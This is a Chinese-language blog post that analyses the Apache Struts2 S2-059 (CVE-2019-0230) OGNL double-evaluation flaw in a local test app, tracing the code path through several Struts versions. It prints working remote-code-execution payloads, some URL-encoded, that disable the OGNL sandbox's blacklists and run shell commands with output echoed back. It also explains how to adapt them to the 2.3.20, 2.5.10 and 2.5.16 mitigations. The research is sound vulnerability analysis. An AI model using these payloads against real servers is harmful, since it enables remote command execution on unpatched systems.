S2-059 漏洞与不同 Struct2 版本的 Payload 分析

2020.08.13 由官方发出安全通告

漏洞描述:

Apache Struts 2 会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。

此问题仅适用于当在 Struts 标签属性内强制进行 OGNL 表达式解析时的情况

https://cwiki.apache.org/confluence/display/WW/S2-007

1
2
<s:url var="url" namespace="/employee" action="list"/><s:a 
id="%{skillName}" href="%{url}">List available Employees</s:a>

如果攻击者能够在请求中控制 skillName 属性值且应用未对其进行检查校验,则攻击者可以直接传入一个 OGNL 表达式,那么最终当标签渲染的时候,skillName 的表达式就会因为二次解析而被执行。

1
2
3
4
5
6
影响:
Struts 2.0.0 - Struts 2.5.20


解决:
升级到 Struts 2.5.22

漏洞分析:

该漏洞在昨天也就是 2020.08.13,由官方发出安全通告,声明对其存在的一个远程代码执行漏洞进行修复

CVE 编号为 CVE-2019-0230

看到这个漏洞的时候,因为最近刚好在调试分析 struct2 的一些历史漏洞,所以想到了最开始的 s2-001,在 s2-001 中漏洞产生的原因就是递归解析表达式,s2-059 也是二次解析,那么有什么不同呢,下面简单分析下

Struct 2.3.10 分析

paylaod:

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

根据漏洞描述简单新建个环境

定义一个 action

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package top.j0k3r.s2059.action;

import com.opensymphony.xwork2.ActionSupport;

public class IndexAction extends ActionSupport {
private String name = null;

public IndexAction() {
}

public void setName(String message) {
this.name = message;
}

public String getName() {
return this.name;
}
}

structs.xml 配置 action

1
2
3
<action name="s2059" class="top.j0k3r.s2059.action.IndexAction">
<result name="success">/pages/s2059/index.jsp</result>
</action>

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-059</title>
</head>
<body>
<h2>S2-059 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-059">https://cwiki.apache.org/confluence/display/WW/S2-059</a></p>
<s:url var="url" namespace="/" action="s2059?name=j0k3r"/><s:a id="%{name}" href="%{url}">demo</s:a>
</body>
</html>

web.xml

1
2
3
4
5
6
7
8
9
10
11
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>/pages/s2059/index.jsp</welcome-file>
</welcome-file-list>

这里 struts2-core 版本使用的是 2.3.1,后面 2.5.x 版本禁止访问 context.map,而且黑名单成了不可变集合,不同的 struct 版本,payload 也是不同的

先传入一个 %{11-1} 测试下

1
/s2059.action?name=%25%7B11-1%7D

image-20200814122444370

可以看到成功解析了

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})).start()}

下断点 debug,看下流程走向

当解析 JSP 的时候 来到 struts2-core-2.3.1.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class 的 doStartTag 方法

image-20200814123221625

继续跟进直到 struts2-core-2.3.1.jar!/org/apache/struts2/components/UIBean.class 的 evaluateParams 方法,后面调用了 populateComponentHtmlId 方法,跟进

image-20200814123542144

还是位于 UIBean 中,可以看出,这个 id 就是我们输入的 paylaod,也就是设置的 id 的值,再继续跟进 findStringIfAltSyntax

image-20200814123731379

判断之后会通过 struts2-core-2.3.1.jar!/org/apache/struts2/components/Component.class 的 findString 方法进行处理

image-20200814124348163

Component 调用 findValue 方法,这是能看到熟悉的 translateVariables 方法,在 s2-001中就是该方法递归解析 %{} 导致执行用户输入的恶意 ognl 表达式

image-20200814124425403

看下 translateVariables 方法

image-20200814150656156

添加了 loopCount 判断解析层数,防止二次解析,获取我们输入的 ognl 表达式内容后,再看后面 findValue 处理

image-20200814150925954

在往后交给会由 OgnlUtil.getValue 处理表达式,导致代码执行

上面流程是由 doStartTag 开始分析的,而 doStartTag 执行完后,会来到 doEndTag 方法

image-20200814151425476

来到 evaluateParams 方法,位于 struts2-core-2.3.1.jar!/org/apache/struts2/components/UIBean.class

image-20200814151609633

能看出,下面还会在调用一次 populateComponentHtmlId 方法

image-20200814151709366

所以会执行两次

image-20200814151750196

Struct 2.3.20 分析

直接来到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/util/OgnlTextParser.class 的 evaluate 方法,取出表达式内容交给 evaluator.evaluate

image-20200814155614227

往下跟进 evaluate 方法

image-20200814155855075

一路跟进来到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlValueStack.class 的 getValue 方法

image-20200814160123938

但是往下 getValue 完了也没有执行命令,在回来深入 getValue 一路跟到 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlUtil.class 的 compileAndExecute

image-20200814160939410

再一路跟进来到 ognl-3.0.6.jar!/ognl/Ognl.class 的 getValue 方法,执行表达式

image-20200814161113050

后面由于 access denied 无法执行此 paylaod

image-20200814161855485

尝试调用静态方法执行命令

image-20200814181114450

在 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/SecurityMemberAccess.class 的 isClassExcluded 方法中能看出 this.excludedClasses 就是一个 class 黑名单,如果我们的 class 与其中的 class 相同或是其子类或接口就会返回 true,导致上面的 isAccessible 方法最终返回 false

image-20200814184624042

回到 ognl-3.0.6.jar!/ognl/OgnlRuntime.class 的 callAppropriateMethod 方法,结果最终抛出一个 NoSuchMethodException,于是 callStaticMethod 失败,无法执行命令

那么怎么才能绕过呢,先看下 struct2 黑名单的产生过程

struct2 在一开始 createValueStack 创建 ognl ValueStack,接着通过 container.inject(stack) 将依赖项注入现有的字段和方法

image-20200817113249177

通过这个注入操作,会使用 xwork-core-2.3.20.jar!/com/opensymphony/xwork2/ognl/OgnlValueStack.class 的 setOgnlUtil 方法添加黑名单

image-20200817105223424

内容如下

image-20200817105206499

那我们在哪修改呢,早在开始创建 OgnlValueStack 的时候,调用 Ognl.createDefaultContext,传入了 securityMemberAccess

image-20200817113939491

随后又调用 ognl-3.0.6.jar!/ognl/Ognl.class 的 addDefaultContext 方法,新建一个 OgnlContext,通过 setMemberAccess 方法设置 Context 中的 MemberAccess

image-20200817114155492

看下 ognl-3.0.6.jar!/ognl/OgnlContext.class 的 setMemberAccess,即赋值给了 _memberAccess

image-20200817114226575

而 SecurityMemberAccess 又继承了 DefaultMemberAccess ,也就是说各黑名单和设置项存于上下文中的 _memberAccess,知道这一点就知道 paylaod 该怎怎么绕过了,首先通过设置 _memberAccess['allowPrivateAccess'] 授权访问 private 方法,再修改 excludedClasses、allowStaticMethodAccess,然后执行命令

2.3.20 Payload:

1
%{(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))}

image-20200817120016497

Struct 2.5.10 分析

前期流程差不不是很大,还是来到 populateComponentHtmlId 方法,进入 findStringIfAltSyntax,如果开启了 altSyntax,下面开始 findValue 处理

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
compileAndExecute:371, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:357, OgnlUtil (com.opensymphony.xwork2.ognl)
getValue:360, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValue:348, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:323, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:307, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:368, OgnlValueStack (com.opensymphony.xwork2.ognl)
evaluate:156, TextParseUtil$1 (com.opensymphony.xwork2.util)
evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)
translateVariables:166, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:109, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:82, TextParseUtil (com.opensymphony.xwork2.util)
findValue:377, Component (org.apache.struts2.components)
findString:223, Component (org.apache.struts2.components)
findStringIfAltSyntax:320, Component (org.apache.struts2.components)
populateComponentHtmlId:998, UIBean (org.apache.struts2.components)

一直到 compileAndExecute 都没有问题,但是接下来调用 checkEnableEvalExpression ->isEvalExpression 之后 return 语句当中的 node.isSequence 发现不同的 paylaod IDEA 跟进的函数不同(前面的调用栈相同)

java-1

isEvalExpression 函数

image-20200817161324768

当使用下面 paylaod 时,无法执行命令

1
%25%7B(%23_memberAccess%5B'allowPrivateAccess'%5D%3Dtrue%2C%23_memberAccess%5B'excludedClasses'%5D%3D%23_memberAccess%5B'acceptProperties'%5D%2C%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('%2FApplications%2FCalculator.app%2FContents%2FMacOS%2FCalculator').getInputStream()))%7D

跟进的 isSequence 函数为 ognl-3.1.12.jar!/ognl/ASTSequence.class 中的 isSequence

public boolean isSequence(OgnlContext context) {
    return true;
}

而当使用下面 paylaod 时,该 paylaod 能绕过限制,执行命令

1
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd={'/bin/bash','-c','id'}).(#p=new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

跟进的 isSequence 函数为 ognl-3.1.12.jar!/ognl/SimpleNode.class 中的 isSequence

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public boolean isSequence(OgnlContext context) throws OgnlException {
if (this._children == null) {
return false;
} else {
Node[] arr$ = this._children;
int len$ = arr$.length;

for(int i$ = 0; i$ < len$; ++i$) {
Node child = arr$[i$];
if (child instanceof SimpleNode && ((SimpleNode)child).isSequence(context)) {
return true;
}
}

return false;
}
}

那是为什么呢,其实仔细观察之后能发现两者的不同

2

3

一个是 ASTSequnce,一个则是 ASTChain,再看 checkEnableEvalExpression 函数

1
2
3
4
5
private void checkEnableEvalExpression(Object tree, Map<String, Object> context) throws OgnlException {
if (!this.enableEvalExpression && this.isEvalExpression(tree, context)) {
throw new OgnlException("Eval expressions/chained expressions have been disabled!");
}
}

Eval expressions/chained expressions have been disabled!,也就是说这里 ognl 会检查表达式是否可执行,而且 Eval expressions/chained expressions 两种形式的表达式被禁止

  • ASTSequence
    • 表现形式: #xxx=a, #yyy=b
  • ASTEval
    • 表现形式: (#xxx)(#yyy)
  • ASTChain
    • 表现形式: #xxx.#yyy

所以要避免使用 ASTSequence 或 ASTEval 形式的 paylaod

Payload:

1
2
3
4
5
6
linux:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd={'/bin/bash','-c','id'}).(#p=new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


win+linux:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struct 2.5.16

因为禁止了对 context.map 的访问,所以通过attr 绕过,获取一个context.map,然后通过 setExcludedPackageNames 和 setExcludedClasses 将名单置空,再覆盖 _memberAccess

Payload:

1
2
3
4
5
6
7
%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses('')).(%23ognlUtil.setExcludedPackageNames(''))%7D


%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%40java.lang.Runtime%40getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator'))%7D

有回显版:
%25%7B(%23context%3D%23attr%5B'struts.valueStack'%5D.context).(%23context.setMemberAccess(%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)).(%23cmd%3D%7B'%2Fbin%2Fbash'%2C'-c'%2C'id'%7D).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmd)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D

image-20200818164601881


Reference

https://javasec.org/javase/

https://seaii-blog.com/index.php/2019/12/29/90.html

https://lucifaer.com/2019/01/16/%E6%B5%85%E6%9E%90OGNL%E7%9A%84%E6%94%BB%E9%98%B2%E5%8F%B2/

文章作者: J0k3r
文章链接: http://j0k3r.top/2020/08/14/struct2-s2-059/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog